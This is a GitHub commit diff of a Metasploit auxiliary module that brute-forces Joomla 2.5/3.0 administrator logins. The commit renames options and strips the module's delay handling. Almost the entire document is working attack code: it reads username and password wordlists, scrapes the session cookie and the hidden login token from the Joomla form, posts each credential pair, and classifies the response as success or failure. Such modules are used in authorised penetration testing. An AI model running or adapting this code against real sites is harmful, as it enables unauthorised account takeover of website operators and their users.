Skip to content

Commit f2eabdb

Browse files
author
root
committed
implementation of the recommended changes
1 parent ceff18d commit f2eabdb

File tree

1 file changed

+97
-118
lines changed

1 file changed

+97
-118
lines changed

modules/auxiliary/scanner/http/http_bruteforce_joomla.rb

Lines changed: 97 additions & 118 deletions
Original file line numberDiff line numberDiff line change
@@ -17,9 +17,9 @@ class Metasploit3 < Msf::Auxiliary
1717

1818
def initialize
1919
super(
20-
'Name' => 'BruteForce Joomla 2.5 or 3.0',
20+
'Name' => 'Joomla Bruteforce Login Utility',
2121
'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0 through bruteforce attacks',
22-
'Author' => [ 'luisco100[at]gmail[dot]com' ],
22+
'Author' => [ 'luisco100[at]gmail.com' ],
2323
'References' =>
2424
[
2525
[ 'CVE', '1999-0502'] # Weak password Joomla
@@ -35,23 +35,20 @@ def initialize
3535
File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
3636
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
3737
File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]),
38-
OptString.new('AUTH_URI', [ false, "The URI to authenticate against (default:auto)", "/administrator/index.php" ]),
38+
OptString.new('AUTH_URI', [ true, "The URI to authenticate against (default:auto)", "/administrator/index.php" ]),
3939
OptString.new('FORM_URI', [ false, "The FORM URI to authenticate against (default:auto)" , "/administrator"]),
40-
OptString.new('USER_VARIABLE', [ false, "The name of the variable for the user field", "username"]),
41-
OptString.new('PASS_VARIABLE', [ false, "The name of the variable for the password field" , "passwd"]),
42-
OptString.new('WORD_ERROR', [ false, "The word of message for detect that login fail","mod-login-username"]),
43-
OptString.new('WORD_ERROR_2', [ false, "Second option for the word of message for detect that login fail","login.html"]),
44-
OptString.new('WORD_ERROR_DELAY', [ false, "The word of message for active the delay time" , "por favor intente de nuevo en un minuto"]),
45-
OptInt.new('TIME_DELAY', [false, 'The delay time ', 0]),
46-
OptString.new('REQUESTTYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)", "POST" ]),
40+
OptString.new('USER_VARIABLE', [ false, "The name of the variable for the user field", "username"]),
41+
OptString.new('PASS_VARIABLE', [ false, "The name of the variable for the password field" , "passwd"]),
42+
OptString.new('WORD_ERROR', [ false, "The word of message for detect that login fail","mod-login-username"]),
43+
OptString.new('REQUEST_TYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)", "POST" ]),
4744
OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0' ]),
4845
], self.class)
4946
register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ])
5047
end
5148

5249
def find_auth_uri
5350

54-
if datastore['AUTH_URI'] and datastore['AUTH_URI'].length > 0
51+
if datastore['AUTH_URI'] && datastore['AUTH_URI'].length > 0
5552
paths = [datastore['AUTH_URI']]
5653
else
5754
paths = %W{
@@ -66,15 +63,15 @@ def find_auth_uri
6663
'method' => 'GET'
6764
}, 10)
6865

69-
next if not res
70-
if res.code == 301 or res.code == 302 and res.headers['Location'] and res.headers['Location'] !~ /^http/
66+
next unless res
67+
if res.code == 301 || res.code == 302 && res.headers['Location'] && res.headers['Location'] !~ /^http/
7168
path = res.headers['Location']
7269
vprint_status("Following redirect: #{path}")
7370
res = send_request_cgi({
7471
'uri' => path,
7572
'method' => 'GET'
76-
}, 10)
77-
next if not res
73+
})
74+
next unless res
7875
end
7976

8077
return path
@@ -85,20 +82,16 @@ def find_auth_uri
8582

8683
def target_url
8784
proto = "http"
88-
if rport == 443 or ssl
85+
if rport == 443 || ssl
8986
proto = "https"
9087
end
9188
"#{proto}://#{rhost}:#{rport}#{@uri.to_s}"
9289
end
9390

9491
def run_host(ip)
95-
if ( datastore['REQUESTTYPE'] == "PUT" ) and (datastore['AUTH_URI'] == "")
96-
print_error("You need need to set AUTH_URI when using PUT Method !")
97-
return
98-
end
92+
9993
@uri = find_auth_uri
10094

101-
time_delay = datastore['REQUESTTYPE']
10295
if ! @uri
10396
print_error("#{target_url} No URI found that asks for HTTP authentication")
10497
return
@@ -109,8 +102,7 @@ def run_host(ip)
109102
print_status("Attempting to login to #{target_url}")
110103

111104
each_user_pass { |user, pass|
112-
datastore['REQUESTTYPE'] = time_delay
113-
do_login(user, pass)
105+
do_login(user, pass)
114106
}
115107
end
116108

@@ -126,37 +118,33 @@ def do_login(user='admin', pass='admin')
126118
return :next_user
127119
else
128120
vprint_error("#{target_url} - Failed to login as '#{user}'")
129-
if result == :delay
130-
print_status("Establishing one minute delay")
131-
userpass_sleep_interval_add
132-
end
133121
return
134122
end
135123
end
136124

137125
def do_http_login(user,pass)
138-
126+
139127
@uri_mod = @uri
140128

141-
if datastore['REQUESTTYPE'] == "GET"
129+
if datastore['REQUEST_TYPE'] == "GET"
130+
131+
@uri_mod = "#{@uri}?username=#{user}&psd=#{pass}"
142132

143-
@uri_mod = "#{@uri}?username=#{user}&psd=#{pass}"
144-
145133
begin
146134
response = send_request_cgi({
147135
'uri' => @uri_mod,
148-
'method' => datastore['REQUESTTYPE'],
136+
'method' => datastore['REQUEST_TYPE'],
149137
'username' => user,
150138
'password' => pass
151139
})
152-
return response
153-
rescue ::Rex::ConnectionError
154-
vprint_error("#{target_url} - Failed to connect to the web server")
155-
return nil
156-
end
140+
return response
141+
rescue ::Rex::ConnectionError
142+
vprint_error("#{target_url} - Failed to connect to the web server")
143+
return nil
144+
end
157145
else
158146

159-
begin
147+
begin
160148

161149
user_var = datastore['USER_VARIABLE']
162150
pass_var = datastore['PASS_VARIABLE']
@@ -167,60 +155,62 @@ def do_http_login(user,pass)
167155
uid, cval, hidden_value = get_login_cookie
168156

169157
if uid
170-
indice = 0
158+
index_cookie = 0
171159
value_cookie = ""
172-
#print_status("Longitud : #{uid.length}")
173-
uid.each do |val_uid|
174-
value_cookie = value_cookie + "#{val_uid.strip}=#{cval[indice].strip};"
175-
indice = indice +1
160+
161+
uid.each do |val_uid|
162+
value_cookie = value_cookie + "#{val_uid.strip}=#{cval[index_cookie].strip};"
163+
index_cookie = index_cookie +1
176164
end
165+
177166
value_cookie = value_cookie
178-
print_status("Value of cookie ( #{value_cookie} ), Hidden ( #{hidden_value}=1 )")
167+
vprint_status("Target #{target_url},Value of cookie ( #{value_cookie} ), Hidden ( #{hidden_value}=1 )")
179168

180-
data = "#{user_var}=#{user}&"
181-
data << "#{pass_var}=#{pass}&"
182-
data << "lang=&"
183-
data << "option=com_login&"
184-
data << "task=login&"
185-
data << "return=aW5kZXgucGhw&"
186-
data << "#{hidden_value}=1"
169+
data = "#{user_var}=#{user}&" \
170+
"#{pass_var}=#{pass}&" \
171+
"lang=&" \
172+
"option=com_login&" \
173+
"task=login&" \
174+
"return=aW5kZXgucGhw&" \
175+
"#{hidden_value}=1"
187176

188-
response = send_request_raw({
177+
response = send_request_cgi({
189178
'uri' => @uri_mod,
190-
'method' => datastore['REQUESTTYPE'],
179+
'method' => datastore['REQUEST_TYPE'],
191180
'cookie' => "#{value_cookie}",
192181
'data' => data,
193-
'headers' =>
194-
{
195-
'Content-Type' => ctype,
196-
'Referer' => referer_var,
197-
'User-Agent' => datastore['UserAgent'],
198-
},
199-
}, 30)
200-
201-
vprint_status("First Response Code : #{response.code}")
202-
203-
if (response.code == 301 or response.code == 302 or response.code == 303) and response.headers['Location']
204-
182+
'headers' =>
183+
{
184+
'Content-Type' => ctype,
185+
'Referer' => referer_var,
186+
'User-Agent' => datastore['UserAgent'],
187+
},
188+
})
189+
190+
vprint_status("#{target_url} -> First Response Code : #{response.code}")
191+
192+
if (response.code == 301 || response.code == 302 || response.code == 303) && response.headers['Location']
193+
205194
path = response.headers['Location']
206195
print_status("Following redirect Response: #{path}")
207196

208197
response = send_request_raw({
209198
'uri' => path,
210199
'method' => 'GET',
211200
'cookie' => "#{value_cookie}",
212-
}, 30)
201+
}, 30)
213202
end
214203

215204
return response
216205
else
217206
print_error("#{target_url} - Failed to get Cookies")
218-
end
207+
return nil
208+
end
219209
rescue ::Rex::ConnectionError
220210
vprint_error("#{target_url} - Failed to connect to the web server")
221211
return nil
222-
end
223-
end
212+
end
213+
end
224214
end
225215

226216
def determine_result(response)
@@ -229,36 +219,28 @@ def determine_result(response)
229219
return :abort unless response.code
230220

231221
if [200, 301, 302].include?(response.code)
232-
233-
#print_status("Respuesta: #{response.headers}")
234-
#print_status("Respuesta Code: #{response.body}")
235-
236-
if response.to_s.include? datastore['WORD_ERROR_DELAY']
237-
return :delay
238-
else
239-
if response.to_s.include? datastore['WORD_ERROR'] or response.to_s.include? datastore['WORD_ERROR_2']
240-
return :fail
241-
else
242-
return :success
243-
end
244-
end
222+
223+
#print_status("Response: #{response.headers}")
224+
#print_status("Response Code: #{response.body}")
225+
226+
if response.to_s.include? datastore['WORD_ERROR']
227+
return :fail
228+
else
229+
return :success
230+
end
231+
245232
end
246233
return :fail
247234
end
248235

249-
def userpass_sleep_interval_add
250-
sleep_time = datastore['TIME_DELAY']
251-
::IO.select(nil,nil,nil,sleep_time) unless sleep_time == 0
252-
end
253-
254236
def get_login_cookie
255-
237+
256238
uri = normalize_uri(datastore['FORM_URI'])
257-
uid = ''
258-
cval = ''
239+
uid = Array.new
240+
cval = Array.new
259241
valor_input_id = ''
260242

261-
res = send_request_raw({'uri' => uri,'method' => 'GET',})
243+
res = send_request_cgi({'uri' => uri,'method' => 'GET'})
262244

263245
if(res.code == 301)
264246
path = res.headers['Location']
@@ -269,42 +251,39 @@ def get_login_cookie
269251
}, 10)
270252
end
271253

272-
#print_status("respuesta Get login cookie: #{res.to_s}")
273-
274-
if res and res.code == 200 and res.headers['Set-Cookie']
275-
#Idetificar formulario login y obtener la variable de validacion de session de Joomla
276-
if res.body and res.body =~ /<form action=([^\>]+)\>(.*)<\/form>/mi
277-
278-
#form = res.body.split(/<form action=([^\>]+) id="login-form" class="form-inline"\>(.*)<\/form>/mi)
279-
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login"\>(.*)<\/form>/mi)
280-
#print_status("#{form[1]}")
281-
282-
if form.length == 1 #No es Joomla 2.5
254+
#print_status("Response Get login cookie: #{res.to_s}")
255+
256+
if res && res.code == 200 && res.headers['Set-Cookie']
257+
#Identify login form and get the session variable validation of Joomla
258+
if res.body && res.body =~ /<form action=([^\>]+)\>(.*)<\/form>/mi
259+
260+
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login"\>(.*)<\/form>/mi)
261+
262+
if form.length == 1 #is not Joomla 2.5
283263
print_error("Testing Form Joomla 3.0")
284264
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login" class="form-inline"\>(.*)<\/form>/mi)
285265
end
286266

287-
if not form
288-
print_error("Joomla Form Not Found")
289-
form = res.body.split(/<form id="login-form" action=([^\>]+)\>(.*)<\/form>/mi)
290-
end
291-
292-
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
293-
#print_status("Formulario Encontrado #{form[2]}")
294-
print_status("--------> Joomla Form Found <--------")
295-
#print_status("Campos Ocultos #{input_hidden[7]}")
296-
input_id = input_hidden[7].split("\"")
297-
#print_status("valor #{input_id[1]}")
298-
valor_input_id = input_id[1]
267+
unless form
268+
print_error("Joomla Form Not Found")
269+
form = res.body.split(/<form id="login-form" action=([^\>]+)\>(.*)<\/form>/mi)
270+
end
271+
272+
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
273+
274+
print_status("--------> Joomla Form Found <--------")
275+
276+
input_id = input_hidden[7].split("\"")
277+
278+
valor_input_id = input_id[1]
299279
end
300280

301281
#Get the name of the cookie variable Joomla
302-
uid = Array.new
303-
cval = Array.new
282+
304283
#print_status("cookie = #{res.headers['Set-Cookie']}")
305284
res.headers['Set-Cookie'].split(';').each {|c|
306-
if c.split('=')[0].length > 10
307-
uid.push(c.split('=')[0])
285+
if c.split('=')[0].length > 10
286+
uid.push(c.split('=')[0])
308287
cval.push(c.split('=')[1])
309288
end
310289
}

0 commit comments

Comments
 (0)